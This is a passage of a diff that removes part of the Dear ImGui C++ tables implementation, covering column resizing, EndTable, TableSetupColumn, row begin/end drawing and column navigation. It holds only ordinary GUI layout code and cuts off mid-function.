table->DisplayOrderToIndex[order_n]; - ImGuiTableColumn* column = &table->Columns[column_n]; - if (column->Flags & (ImGuiTableColumnFlags_NoResize | ImGuiTableColumnFlags_NoDirectResize_)) - continue; - - // ImGuiTableFlags_NoBordersInBodyUntilResize will be honored in TableDrawBorders() - const float border_y2_hit = (table->Flags & ImGuiTableFlags_NoBordersInBody) ? hit_y2_head : hit_y2_body; - if ((table->Flags & ImGuiTableFlags_NoBordersInBody) && table->IsUsingHeaders == false) - continue; - - if (table->FreezeColumnsCount > 0) - if (column->MaxX < table->Columns[table->DisplayOrderToIndex[table->FreezeColumnsCount - 1]].MaxX) - continue; - - ImGuiID column_id = TableGetColumnResizeID(table, column_n, table->InstanceCurrent); - ImRect hit_rect(column->MaxX - hit_half_width, hit_y1, column->MaxX + hit_half_width, border_y2_hit); - //GetForegroundDrawList()->AddRect(hit_rect.Min, hit_rect.Max, IM_COL32(255, 0, 0, 100)); - KeepAliveID(column_id); - - bool hovered = false, held = false; - bool pressed = ButtonBehavior(hit_rect, column_id, &hovered, &held, ImGuiButtonFlags_FlattenChildren | ImGuiButtonFlags_AllowItemOverlap | ImGuiButtonFlags_PressedOnClick | ImGuiButtonFlags_PressedOnDoubleClick); - if (pressed && IsMouseDoubleClicked(0)) - { - TableSetColumnWidthAutoSingle(table, column_n); - ClearActiveID(); - held = hovered = false; - } - if (held) - { - if (table->LastResizedColumn == -1) - table->ResizeLockMinContentsX2 = table->RightMostEnabledColumn != -1 ? table->Columns[table->RightMostEnabledColumn].MaxX : -FLT_MAX; - table->ResizedColumn = (ImGuiTableColumnIdx)column_n; - table->InstanceInteracted = table->InstanceCurrent; - } - if ((hovered && g.HoveredIdTimer > TABLE_RESIZE_SEPARATOR_FEEDBACK_TIMER) || held) - { - table->HoveredColumnBorder = (ImGuiTableColumnIdx)column_n; - SetMouseCursor(ImGuiMouseCursor_ResizeEW); - } - } -} - -void ImGui::EndTable() -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - IM_ASSERT(table != NULL && "Only call EndTable() if BeginTable() returns true!"); - - // This assert would be very useful to catch a common error... unfortunately it would probably trigger in some - // cases, and for consistency user may sometimes output empty tables (and still benefit from e.g. outer border) - //IM_ASSERT(table->IsLayoutLocked && "Table unused: never called TableNextRow(), is that the intent?"); - - // If the user never got to call TableNextRow() or TableNextColumn(), we call layout ourselves to ensure all our - // code paths are consistent (instead of just hoping that TableBegin/TableEnd will work), get borders drawn, etc. - if (!table->IsLayoutLocked) - TableUpdateLayout(table); - - const ImGuiTableFlags flags = table->Flags; - ImGuiWindow* inner_window = table->InnerWindow; - ImGuiWindow* outer_window = table->OuterWindow; - IM_ASSERT(inner_window == g.CurrentWindow); - IM_ASSERT(outer_window == inner_window || outer_window == inner_window->ParentWindow); - - if (table->IsInsideRow) - TableEndRow(table); - - // Context menu in columns body - if (flags & ImGuiTableFlags_ContextMenuInBody) - if (table->HoveredColumnBody != -1 && !IsAnyItemHovered() && IsMouseReleased(ImGuiMouseButton_Right)) - TableOpenContextMenu((int)table->HoveredColumnBody); - - // Finalize table height - inner_window->DC.PrevLineSize = table->HostBackupPrevLineSize; - inner_window->DC.CurrLineSize = table->HostBackupCurrLineSize; - inner_window->DC.CursorMaxPos = table->HostBackupCursorMaxPos; - const float inner_content_max_y = table->RowPosY2; - IM_ASSERT(table->RowPosY2 == inner_window->DC.CursorPos.y); - if (inner_window != outer_window) - inner_window->DC.CursorMaxPos.y = inner_content_max_y; - else if (!(flags & ImGuiTableFlags_NoHostExtendY)) - table->OuterRect.Max.y = table->InnerRect.Max.y = ImMax(table->OuterRect.Max.y, inner_content_max_y); // Patch OuterRect/InnerRect height - table->WorkRect.Max.y = ImMax(table->WorkRect.Max.y, table->OuterRect.Max.y); - table->LastOuterHeight = table->OuterRect.GetHeight(); - - // Setup inner scrolling range - // FIXME: This ideally should be done earlier, in BeginTable() SetNextWindowContentSize call, just like writing to inner_window->DC.CursorMaxPos.y, - // but since the later is likely to be impossible to do we'd rather update both axises together. - if (table->Flags & ImGuiTableFlags_ScrollX) - { - const float outer_padding_for_border = (table->Flags & ImGuiTableFlags_BordersOuterV) ? TABLE_BORDER_SIZE : 0.0f; - float max_pos_x = table->InnerWindow->DC.CursorMaxPos.x; - if (table->RightMostEnabledColumn != -1) - max_pos_x = ImMax(max_pos_x, table->Columns[table->RightMostEnabledColumn].WorkMaxX + table->CellPaddingX + table->OuterPaddingX - outer_padding_for_border); - if (table->ResizedColumn != -1) - max_pos_x = ImMax(max_pos_x, table->ResizeLockMinContentsX2); - table->InnerWindow->DC.CursorMaxPos.x = max_pos_x; - } - - // Pop clipping rect - if (!(flags & ImGuiTableFlags_NoClip)) - inner_window->DrawList->PopClipRect(); - inner_window->ClipRect = inner_window->DrawList->_ClipRectStack.back(); - - // Draw borders - if ((flags & ImGuiTableFlags_Borders) != 0) - TableDrawBorders(table); - -#if 0 - // Strip out dummy channel draw calls - // We have no way to prevent user submitting direct ImDrawList calls into a hidden column (but ImGui:: calls will be clipped out) - // Pros: remove draw calls which will have no effect. since they'll have zero-size cliprect they may be early out anyway. - // Cons: making it harder for users watching metrics/debugger to spot the wasted vertices. - if (table->DummyDrawChannel != (ImGuiTableColumnIdx)-1) - { - ImDrawChannel* dummy_channel = &table->DrawSplitter._Channels[table->DummyDrawChannel]; - dummy_channel->_CmdBuffer.resize(0); - dummy_channel->_IdxBuffer.resize(0); - } -#endif - - // Flatten channels and merge draw calls - table->DrawSplitter.SetCurrentChannel(inner_window->DrawList, 0); - if ((table->Flags & ImGuiTableFlags_NoClip) == 0) - TableMergeDrawChannels(table); - table->DrawSplitter.Merge(inner_window->DrawList); - - // Update ColumnsAutoFitWidth to get us ahead for host using our size to auto-resize without waiting for next BeginTable() - const float width_spacings = (table->OuterPaddingX * 2.0f) + (table->CellSpacingX1 + table->CellSpacingX2) * (table->ColumnsEnabledCount - 1); - table->ColumnsAutoFitWidth = width_spacings + (table->CellPaddingX * 2.0f) * table->ColumnsEnabledCount; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - if (table->EnabledMaskByIndex & ((ImU64)1 << column_n)) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - if ((column->Flags & ImGuiTableColumnFlags_WidthFixed) && !(column->Flags & ImGuiTableColumnFlags_NoResize)) - table->ColumnsAutoFitWidth += column->WidthRequest; - else - table->ColumnsAutoFitWidth += TableGetColumnWidthAuto(table, column); - } - - // Update scroll - if ((table->Flags & ImGuiTableFlags_ScrollX) == 0 && inner_window != outer_window) - { - inner_window->Scroll.x = 0.0f; - } - else if (table->LastResizedColumn != -1 && table->ResizedColumn == -1 && inner_window->ScrollbarX && table->InstanceInteracted == table->InstanceCurrent) - { - // When releasing a column being resized, scroll to keep the resulting column in sight - const float neighbor_width_to_keep_visible = table->MinColumnWidth + table->CellPaddingX * 2.0f; - ImGuiTableColumn* column = &table->Columns[table->LastResizedColumn]; - if (column->MaxX < table->InnerClipRect.Min.x) - SetScrollFromPosX(inner_window, column->MaxX - inner_window->Pos.x - neighbor_width_to_keep_visible, 1.0f); - else if (column->MaxX > table->InnerClipRect.Max.x) - SetScrollFromPosX(inner_window, column->MaxX - inner_window->Pos.x + neighbor_width_to_keep_visible, 1.0f); - } - - // Apply resizing/dragging at the end of the frame - if (table->ResizedColumn != -1 && table->InstanceCurrent == table->InstanceInteracted) - { - ImGuiTableColumn* column = &table->Columns[table->ResizedColumn]; - const float new_x2 = (g.IO.MousePos.x - g.ActiveIdClickOffset.x + TABLE_RESIZE_SEPARATOR_HALF_THICKNESS); - const float new_width = ImFloor(new_x2 - column->MinX - table->CellSpacingX1 - table->CellPaddingX * 2.0f); - table->ResizedColumnNextWidth = new_width; - } - - // Pop from id stack - IM_ASSERT_USER_ERROR(inner_window->IDStack.back() == table->ID + table->InstanceCurrent, "Mismatching PushID/PopID!"); - IM_ASSERT_USER_ERROR(outer_window->DC.ItemWidthStack.Size >= table->HostBackupItemWidthStackSize, "Too many PopItemWidth!"); - PopID(); - - // Restore window data that we modified - const ImVec2 backup_outer_max_pos = outer_window->DC.CursorMaxPos; - inner_window->WorkRect = table->HostBackupWorkRect; - inner_window->ParentWorkRect = table->HostBackupParentWorkRect; - inner_window->SkipItems = table->HostSkipItems; - outer_window->DC.CursorPos = table->OuterRect.Min; - outer_window->DC.ItemWidth = table->HostBackupItemWidth; - outer_window->DC.ItemWidthStack.Size = table->HostBackupItemWidthStackSize; - outer_window->DC.ColumnsOffset = table->HostBackupColumnsOffset; - - // Layout in outer window - // (FIXME: To allow auto-fit and allow desirable effect of SameLine() we dissociate 'used' vs 'ideal' size by overriding - // CursorPosPrevLine and CursorMaxPos manually. That should be a more general layout feature, see same problem e.g. #3414) - if (inner_window != outer_window) - { - EndChild(); - } - else - { - ItemSize(table->OuterRect.GetSize()); - ItemAdd(table->OuterRect, 0); - } - - // Override declared contents width/height to enable auto-resize while not needlessly adding a scrollbar - if (table->Flags & ImGuiTableFlags_NoHostExtendX) - { - // FIXME-TABLE: Could we remove this section? - // ColumnsAutoFitWidth may be one frame ahead here since for Fixed+NoResize is calculated from latest contents - IM_ASSERT((table->Flags & ImGuiTableFlags_ScrollX) == 0); - outer_window->DC.CursorMaxPos.x = ImMax(backup_outer_max_pos.x, table->OuterRect.Min.x + table->ColumnsAutoFitWidth); - } - else if (table->UserOuterSize.x <= 0.0f) - { - const float decoration_size = (table->Flags & ImGuiTableFlags_ScrollX) ? inner_window->ScrollbarSizes.x : 0.0f; - outer_window->DC.IdealMaxPos.x = ImMax(outer_window->DC.IdealMaxPos.x, table->OuterRect.Min.x + table->ColumnsAutoFitWidth + decoration_size - table->UserOuterSize.x); - outer_window->DC.CursorMaxPos.x = ImMax(backup_outer_max_pos.x, ImMin(table->OuterRect.Max.x, table->OuterRect.Min.x + table->ColumnsAutoFitWidth)); - } - else - { - outer_window->DC.CursorMaxPos.x = ImMax(backup_outer_max_pos.x, table->OuterRect.Max.x); - } - if (table->UserOuterSize.y <= 0.0f) - { - const float decoration_size = (table->Flags & ImGuiTableFlags_ScrollY) ? inner_window->ScrollbarSizes.y : 0.0f; - outer_window->DC.IdealMaxPos.y = ImMax(outer_window->DC.IdealMaxPos.y, inner_content_max_y + decoration_size - table->UserOuterSize.y); - outer_window->DC.CursorMaxPos.y = ImMax(backup_outer_max_pos.y, ImMin(table->OuterRect.Max.y, inner_content_max_y)); - } - else - { - // OuterRect.Max.y may already have been pushed downward from the initial value (unless ImGuiTableFlags_NoHostExtendY is set) - outer_window->DC.CursorMaxPos.y = ImMax(backup_outer_max_pos.y, table->OuterRect.Max.y); - } - - // Save settings - if (table->IsSettingsDirty) - TableSaveSettings(table); - table->IsInitializing = false; - - // Clear or restore current table, if any - IM_ASSERT(g.CurrentWindow == outer_window && g.CurrentTable == table); - g.CurrentTableStack.pop_back(); - g.CurrentTable = g.CurrentTableStack.Size ? g.Tables.GetByIndex(g.CurrentTableStack.back().Index) : NULL; - outer_window->DC.CurrentTableIdx = g.CurrentTable ? g.Tables.GetIndex(g.CurrentTable) : -1; -} - -// See "COLUMN SIZING POLICIES" comments at the top of this file -// If (init_width_or_weight <= 0.0f) it is ignored -void ImGui::TableSetupColumn(const char* label, ImGuiTableColumnFlags flags, float init_width_or_weight, ImGuiID user_id) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - IM_ASSERT(table != NULL && "Need to call TableSetupColumn() after BeginTable()!"); - IM_ASSERT(table->IsLayoutLocked == false && "Need to call call TableSetupColumn() before first row!"); - IM_ASSERT((flags & ImGuiTableColumnFlags_StatusMask_) == 0 && "Illegal to pass StatusMask values to TableSetupColumn()"); - if (table->DeclColumnsCount >= table->ColumnsCount) - { - IM_ASSERT_USER_ERROR(table->DeclColumnsCount < table->ColumnsCount, "Called TableSetupColumn() too many times!"); - return; - } - - ImGuiTableColumn* column = &table->Columns[table->DeclColumnsCount]; - table->DeclColumnsCount++; - - // Assert when passing a width or weight if policy is entirely left to default, to avoid storing width into weight and vice-versa. - // Give a grace to users of ImGuiTableFlags_ScrollX. - if (table->IsDefaultSizingPolicy && (flags & ImGuiTableColumnFlags_WidthMask_) == 0 && (flags & ImGuiTableFlags_ScrollX) == 0) - IM_ASSERT(init_width_or_weight <= 0.0f && "Can only specify width/weight if sizing policy is set explicitly in either Table or Column."); - - // When passing a width automatically enforce WidthFixed policy - // (whereas TableSetupColumnFlags would default to WidthAuto if table is not Resizable) - if ((flags & ImGuiTableColumnFlags_WidthMask_) == 0 && init_width_or_weight > 0.0f) - if ((table->Flags & ImGuiTableFlags_SizingMask_) == ImGuiTableFlags_SizingFixedFit || (table->Flags & ImGuiTableFlags_SizingMask_) == ImGuiTableFlags_SizingFixedSame) - flags |= ImGuiTableColumnFlags_WidthFixed; - - TableSetupColumnFlags(table, column, flags); - column->UserID = user_id; - flags = column->Flags; - - // Initialize defaults - column->InitStretchWeightOrWidth = init_width_or_weight; - if (table->IsInitializing) - { - // Init width or weight - if (column->WidthRequest < 0.0f && column->StretchWeight < 0.0f) - { - if ((flags & ImGuiTableColumnFlags_WidthFixed) && init_width_or_weight > 0.0f) - column->WidthRequest = init_width_or_weight; - if (flags & ImGuiTableColumnFlags_WidthStretch) - column->StretchWeight = (init_width_or_weight > 0.0f) ? init_width_or_weight : -1.0f; - - // Disable auto-fit if an explicit width/weight has been specified - if (init_width_or_weight > 0.0f) - column->AutoFitQueue = 0x00; - } - - // Init default visibility/sort state - if ((flags & ImGuiTableColumnFlags_DefaultHide) && (table->SettingsLoadedFlags & ImGuiTableFlags_Hideable) == 0) - column->IsEnabled = column->IsEnabledNextFrame = false; - if (flags & ImGuiTableColumnFlags_DefaultSort && (table->SettingsLoadedFlags & ImGuiTableFlags_Sortable) == 0) - { - column->SortOrder = 0; // Multiple columns using _DefaultSort will be reassigned unique SortOrder values when building the sort specs. - column->SortDirection = (column->Flags & ImGuiTableColumnFlags_PreferSortDescending) ? (ImS8)ImGuiSortDirection_Descending : (ImU8)(ImGuiSortDirection_Ascending); - } - } - - // Store name (append with zero-terminator in contiguous buffer) - column->NameOffset = -1; - if (label != NULL && label[0] != 0) - { - column->NameOffset = (ImS16)table->ColumnsNames.size(); - table->ColumnsNames.append(label, label + strlen(label) + 1); - } -} - -// [Public] -void ImGui::TableSetupScrollFreeze(int columns, int rows) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - IM_ASSERT(table != NULL && "Need to call TableSetupColumn() after BeginTable()!"); - IM_ASSERT(table->IsLayoutLocked == false && "Need to call TableSetupColumn() before first row!"); - IM_ASSERT(columns >= 0 && columns < IMGUI_TABLE_MAX_COLUMNS); - IM_ASSERT(rows >= 0 && rows < 128); // Arbitrary limit - - table->FreezeColumnsRequest = (table->Flags & ImGuiTableFlags_ScrollX) ? (ImGuiTableColumnIdx)columns : 0; - table->FreezeColumnsCount = (table->InnerWindow->Scroll.x != 0.0f) ? table->FreezeColumnsRequest : 0; - table->FreezeRowsRequest = (table->Flags & ImGuiTableFlags_ScrollY) ? (ImGuiTableColumnIdx)rows : 0; - table->FreezeRowsCount = (table->InnerWindow->Scroll.y != 0.0f) ? table->FreezeRowsRequest : 0; - table->IsUnfrozenRows = (table->FreezeRowsCount == 0); // Make sure this is set before TableUpdateLayout() so ImGuiListClipper can benefit from it.b -} - -int ImGui::TableGetColumnCount() -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - return table ? table->ColumnsCount : 0; -} - -const char* ImGui::TableGetColumnName(int column_n) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - if (!table) - return NULL; - if (column_n < 0) - column_n = table->CurrentColumn; - return TableGetColumnName(table, column_n); -} - -const char* ImGui::TableGetColumnName(const ImGuiTable* table, int column_n) -{ - if (table->IsLayoutLocked == false && column_n >= table->DeclColumnsCount) - return ""; // NameOffset is invalid at this point - const ImGuiTableColumn* column = &table->Columns[column_n]; - if (column->NameOffset == -1) - return ""; - return &table->ColumnsNames.Buf[column->NameOffset]; -} - -// For the getter you can use (TableGetColumnFlags() & ImGuiTableColumnFlags_IsEnabled) -void ImGui::TableSetColumnEnabled(int column_n, bool enabled) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - IM_ASSERT(table != NULL); - if (!table) - return; - if (column_n < 0) - column_n = table->CurrentColumn; - IM_ASSERT(column_n >= 0 && column_n < table->ColumnsCount); - ImGuiTableColumn* column = &table->Columns[column_n]; - column->IsEnabledNextFrame = enabled; -} - -// We allow querying for an extra column in order to poll the IsHovered state of the right-most section -ImGuiTableColumnFlags ImGui::TableGetColumnFlags(int column_n) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - if (!table) - return ImGuiTableColumnFlags_None; - if (column_n < 0) - column_n = table->CurrentColumn; - if (column_n == table->ColumnsCount) - return (table->HoveredColumnBody == column_n) ? ImGuiTableColumnFlags_IsHovered : ImGuiTableColumnFlags_None; - return table->Columns[column_n].Flags; -} - -// Return the cell rectangle based on currently known height. -// - Important: we generally don't know our row height until the end of the row, so Max.y will be incorrect in many situations. -// The only case where this is correct is if we provided a min_row_height to TableNextRow() and don't go below it. -// - Important: if ImGuiTableFlags_PadOuterX is set but ImGuiTableFlags_PadInnerX is not set, the outer-most left and right -// columns report a small offset so their CellBgRect can extend up to the outer border. -ImRect ImGui::TableGetCellBgRect(const ImGuiTable* table, int column_n) -{ - const ImGuiTableColumn* column = &table->Columns[column_n]; - float x1 = column->MinX; - float x2 = column->MaxX; - if (column->PrevEnabledColumn == -1) - x1 -= table->CellSpacingX1; - if (column->NextEnabledColumn == -1) - x2 += table->CellSpacingX2; - return ImRect(x1, table->RowPosY1, x2, table->RowPosY2); -} - -// Return the resizing ID for the right-side of the given column. -ImGuiID ImGui::TableGetColumnResizeID(const ImGuiTable* table, int column_n, int instance_no) -{ - IM_ASSERT(column_n >= 0 && column_n < table->ColumnsCount); - ImGuiID id = table->ID + 1 + (instance_no * table->ColumnsCount) + column_n; - return id; -} - -// Return -1 when table is not hovered. return columns_count if the unused space at the right of visible columns is hovered. -int ImGui::TableGetHoveredColumn() -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - if (!table) - return -1; - return (int)table->HoveredColumnBody; -} - -void ImGui::TableSetBgColor(ImGuiTableBgTarget target, ImU32 color, int column_n) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - IM_ASSERT(target != ImGuiTableBgTarget_None); - - if (color == IM_COL32_DISABLE) - color = 0; - - // We cannot draw neither the cell or row background immediately as we don't know the row height at this point in time. - switch (target) - { - case ImGuiTableBgTarget_CellBg: - { - if (table->RowPosY1 > table->InnerClipRect.Max.y) // Discard - return; - if (column_n == -1) - column_n = table->CurrentColumn; - if ((table->VisibleMaskByIndex & ((ImU64)1 << column_n)) == 0) - return; - if (table->RowCellDataCurrent < 0 || table->RowCellData[table->RowCellDataCurrent].Column != column_n) - table->RowCellDataCurrent++; - ImGuiTableCellData* cell_data = &table->RowCellData[table->RowCellDataCurrent]; - cell_data->BgColor = color; - cell_data->Column = (ImGuiTableColumnIdx)column_n; - break; - } - case ImGuiTableBgTarget_RowBg0: - case ImGuiTableBgTarget_RowBg1: - { - if (table->RowPosY1 > table->InnerClipRect.Max.y) // Discard - return; - IM_ASSERT(column_n == -1); - int bg_idx = (target == ImGuiTableBgTarget_RowBg1) ? 1 : 0; - table->RowBgColor[bg_idx] = color; - break; - } - default: - IM_ASSERT(0); - } -} - -//------------------------------------------------------------------------- -// [SECTION] Tables: Row changes -//------------------------------------------------------------------------- -// - TableGetRowIndex() -// - TableNextRow() -// - TableBeginRow() [Internal] -// - TableEndRow() [Internal] -//------------------------------------------------------------------------- - -// [Public] Note: for row coloring we use ->RowBgColorCounter which is the same value without counting header rows -int ImGui::TableGetRowIndex() -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - if (!table) - return 0; - return table->CurrentRow; -} - -// [Public] Starts into the first cell of a new row -void ImGui::TableNextRow(ImGuiTableRowFlags row_flags, float row_min_height) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - - if (!table->IsLayoutLocked) - TableUpdateLayout(table); - if (table->IsInsideRow) - TableEndRow(table); - - table->LastRowFlags = table->RowFlags; - table->RowFlags = row_flags; - table->RowMinHeight = row_min_height; - TableBeginRow(table); - - // We honor min_row_height requested by user, but cannot guarantee per-row maximum height, - // because that would essentially require a unique clipping rectangle per-cell. - table->RowPosY2 += table->CellPaddingY * 2.0f; - table->RowPosY2 = ImMax(table->RowPosY2, table->RowPosY1 + row_min_height); - - // Disable output until user calls TableNextColumn() - table->InnerWindow->SkipItems = true; -} - -// [Internal] Called by TableNextRow() -void ImGui::TableBeginRow(ImGuiTable* table) -{ - ImGuiWindow* window = table->InnerWindow; - IM_ASSERT(!table->IsInsideRow); - - // New row - table->CurrentRow++; - table->CurrentColumn = -1; - table->RowBgColor[0] = table->RowBgColor[1] = IM_COL32_DISABLE; - table->RowCellDataCurrent = -1; - table->IsInsideRow = true; - - // Begin frozen rows - float next_y1 = table->RowPosY2; - if (table->CurrentRow == 0 && table->FreezeRowsCount > 0) - next_y1 = window->DC.CursorPos.y = table->OuterRect.Min.y; - - table->RowPosY1 = table->RowPosY2 = next_y1; - table->RowTextBaseline = 0.0f; - table->RowIndentOffsetX = window->DC.Indent.x - table->HostIndentX; // Lock indent - window->DC.PrevLineTextBaseOffset = 0.0f; - window->DC.CursorMaxPos.y = next_y1; - - // Making the header BG color non-transparent will allow us to overlay it multiple times when handling smooth dragging. - if (table->RowFlags & ImGuiTableRowFlags_Headers) - { - TableSetBgColor(ImGuiTableBgTarget_RowBg0, GetColorU32(ImGuiCol_TableHeaderBg)); - if (table->CurrentRow == 0) - table->IsUsingHeaders = true; - } -} - -// [Internal] Called by TableNextRow() -void ImGui::TableEndRow(ImGuiTable* table) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - IM_ASSERT(window == table->InnerWindow); - IM_ASSERT(table->IsInsideRow); - - if (table->CurrentColumn != -1) - TableEndCell(table); - - // Logging - if (g.LogEnabled) - LogRenderedText(NULL, "|"); - - // Position cursor at the bottom of our row so it can be used for e.g. clipping calculation. However it is - // likely that the next call to TableBeginCell() will reposition the cursor to take account of vertical padding. - window->DC.CursorPos.y = table->RowPosY2; - - // Row background fill - const float bg_y1 = table->RowPosY1; - const float bg_y2 = table->RowPosY2; - const bool unfreeze_rows_actual = (table->CurrentRow + 1 == table->FreezeRowsCount); - const bool unfreeze_rows_request = (table->CurrentRow + 1 == table->FreezeRowsRequest); - if (table->CurrentRow == 0) - table->LastFirstRowHeight = bg_y2 - bg_y1; - - const bool is_visible = (bg_y2 >= table->InnerClipRect.Min.y && bg_y1 <= table->InnerClipRect.Max.y); - if (is_visible) - { - // Decide of background color for the row - ImU32 bg_col0 = 0; - ImU32 bg_col1 = 0; - if (table->RowBgColor[0] != IM_COL32_DISABLE) - bg_col0 = table->RowBgColor[0]; - else if (table->Flags & ImGuiTableFlags_RowBg) - bg_col0 = GetColorU32((table->RowBgColorCounter & 1) ? ImGuiCol_TableRowBgAlt : ImGuiCol_TableRowBg); - if (table->RowBgColor[1] != IM_COL32_DISABLE) - bg_col1 = table->RowBgColor[1]; - - // Decide of top border color - ImU32 border_col = 0; - const float border_size = TABLE_BORDER_SIZE; - if (table->CurrentRow > 0 || table->InnerWindow == table->OuterWindow) - if (table->Flags & ImGuiTableFlags_BordersInnerH) - border_col = (table->LastRowFlags & ImGuiTableRowFlags_Headers) ? table->BorderColorStrong : table->BorderColorLight; - - const bool draw_cell_bg_color = table->RowCellDataCurrent >= 0; - const bool draw_strong_bottom_border = unfreeze_rows_actual; - if ((bg_col0 | bg_col1 | border_col) != 0 || draw_strong_bottom_border || draw_cell_bg_color) - { - // In theory we could call SetWindowClipRectBeforeSetChannel() but since we know TableEndRow() is - // always followed by a change of clipping rectangle we perform the smallest overwrite possible here. - if ((table->Flags & ImGuiTableFlags_NoClip) == 0) - window->DrawList->_CmdHeader.ClipRect = table->Bg0ClipRectForDrawCmd.ToVec4(); - table->DrawSplitter.SetCurrentChannel(window->DrawList, TABLE_DRAW_CHANNEL_BG0); - } - - // Draw row background - // We soft/cpu clip this so all backgrounds and borders can share the same clipping rectangle - if (bg_col0 || bg_col1) - { - ImRect row_rect(table->WorkRect.Min.x, bg_y1, table->WorkRect.Max.x, bg_y2); - row_rect.ClipWith(table->BgClipRect); - if (bg_col0 != 0 && row_rect.Min.y < row_rect.Max.y) - window->DrawList->AddRectFilled(row_rect.Min, row_rect.Max, bg_col0); - if (bg_col1 != 0 && row_rect.Min.y < row_rect.Max.y) - window->DrawList->AddRectFilled(row_rect.Min, row_rect.Max, bg_col1); - } - - // Draw cell background color - if (draw_cell_bg_color) - { - ImGuiTableCellData* cell_data_end = &table->RowCellData[table->RowCellDataCurrent]; - for (ImGuiTableCellData* cell_data = &table->RowCellData[0]; cell_data <= cell_data_end; cell_data++) - { - const ImGuiTableColumn* column = &table->Columns[cell_data->Column]; - ImRect cell_bg_rect = TableGetCellBgRect(table, cell_data->Column); - cell_bg_rect.ClipWith(table->BgClipRect); - cell_bg_rect.Min.x = ImMax(cell_bg_rect.Min.x, column->ClipRect.Min.x); // So that first column after frozen one gets clipped - cell_bg_rect.Max.x = ImMin(cell_bg_rect.Max.x, column->MaxX); - window->DrawList->AddRectFilled(cell_bg_rect.Min, cell_bg_rect.Max, cell_data->BgColor); - } - } - - // Draw top border - if (border_col && bg_y1 >= table->BgClipRect.Min.y && bg_y1 < table->BgClipRect.Max.y) - window->DrawList->AddLine(ImVec2(table->BorderX1, bg_y1), ImVec2(table->BorderX2, bg_y1), border_col, border_size); - - // Draw bottom border at the row unfreezing mark (always strong) - if (draw_strong_bottom_border && bg_y2 >= table->BgClipRect.Min.y && bg_y2 < table->BgClipRect.Max.y) - window->DrawList->AddLine(ImVec2(table->BorderX1, bg_y2), ImVec2(table->BorderX2, bg_y2), table->BorderColorStrong, border_size); - } - - // End frozen rows (when we are past the last frozen row line, teleport cursor and alter clipping rectangle) - // We need to do that in TableEndRow() instead of TableBeginRow() so the list clipper can mark end of row and - // get the new cursor position. - if (unfreeze_rows_request) - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - column->NavLayerCurrent = (ImS8)((column_n < table->FreezeColumnsCount) ? ImGuiNavLayer_Menu : ImGuiNavLayer_Main); - } - if (unfreeze_rows_actual) - { - IM_ASSERT(table->IsUnfrozenRows == false); - table->IsUnfrozenRows = true; - - // BgClipRect starts as table->InnerClipRect, reduce it now and make BgClipRectForDrawCmd == BgClipRect - float y0 = ImMax(table->RowPosY2 + 1, window->InnerClipRect.Min.y); - table->BgClipRect.Min.y = table->Bg2ClipRectForDrawCmd.Min.y = ImMin(y0, window->InnerClipRect.Max.y); - table->BgClipRect.Max.y = table->Bg2ClipRectForDrawCmd.Max.y = window->InnerClipRect.Max.y; - table->Bg2DrawChannelCurrent = table->Bg2DrawChannelUnfrozen; - IM_ASSERT(table->Bg2ClipRectForDrawCmd.Min.y <= table->Bg2ClipRectForDrawCmd.Max.y); - - float row_height = table->RowPosY2 - table->RowPosY1; - table->RowPosY2 = window->DC.CursorPos.y = table->WorkRect.Min.y + table->RowPosY2 - table->OuterRect.Min.y; - table->RowPosY1 = table->RowPosY2 - row_height; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - column->DrawChannelCurrent = column->DrawChannelUnfrozen; - column->ClipRect.Min.y = table->Bg2ClipRectForDrawCmd.Min.y; - } - - // Update cliprect ahead of TableBeginCell() so clipper can access to new ClipRect->Min.y - SetWindowClipRectBeforeSetChannel(window, table->Columns[0].ClipRect); - table->DrawSplitter.SetCurrentChannel(window->DrawList, table->Columns[0].DrawChannelCurrent); - } - - if (!(table->RowFlags & ImGuiTableRowFlags_Headers)) - table->RowBgColorCounter++; - table->IsInsideRow = false; -} - -//------------------------------------------------------------------------- -// [SECTION] Tables: Columns changes -//------------------------------------------------------------------------- -// - TableGetColumnIndex() -// - TableSetColumnIndex() -// - TableNextColumn() -// - TableBeginCell() [Internal] -// - TableEndCell() [Internal] -//------------------------------------------------------------------------- - -int ImGui::TableGetColumnIndex() -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - if (!table) - return 0; - return table->CurrentColumn; -} - -// [Public] Append into a specific column -bool ImGui::TableSetColumnIndex(int column_n) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - if (!table) - return false; - - if (table->CurrentColumn != column_n) - { - if (table->CurrentColumn != -1) - TableEndCell(table); - IM_ASSERT(column_n >= 0 && table->ColumnsCount); - TableBeginCell(table, column_n); - } - - // Return whether the column is visible. User may choose to skip submitting items based on this return value, - // however they shouldn't skip submitting for columns that may have the tallest contribution to row height. - return (table->RequestOutputMaskByIndex & ((ImU64)1 << column_n)) != 0; -} - -// [Public] Append into the next column, wrap and create a new row when already on last column -bool ImGui::TableNextColumn() -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - if (!table) - return false; - - if (table->IsInsideRow && table->CurrentColumn + 1 < table->ColumnsCount) - { - if (table->CurrentColumn != -1) - TableEndCell(table); - TableBeginCell(table, table->CurrentColumn + 1); - } - else - { - TableNextRow(); - TableBeginCell(table, 0); - } - - // Return whether the column is visible. User may choose to skip submitting items based on this return value, - // however they shouldn't skip submitting for columns that may have the tallest contribution to row height. - int column_n = table->CurrentColumn; - return 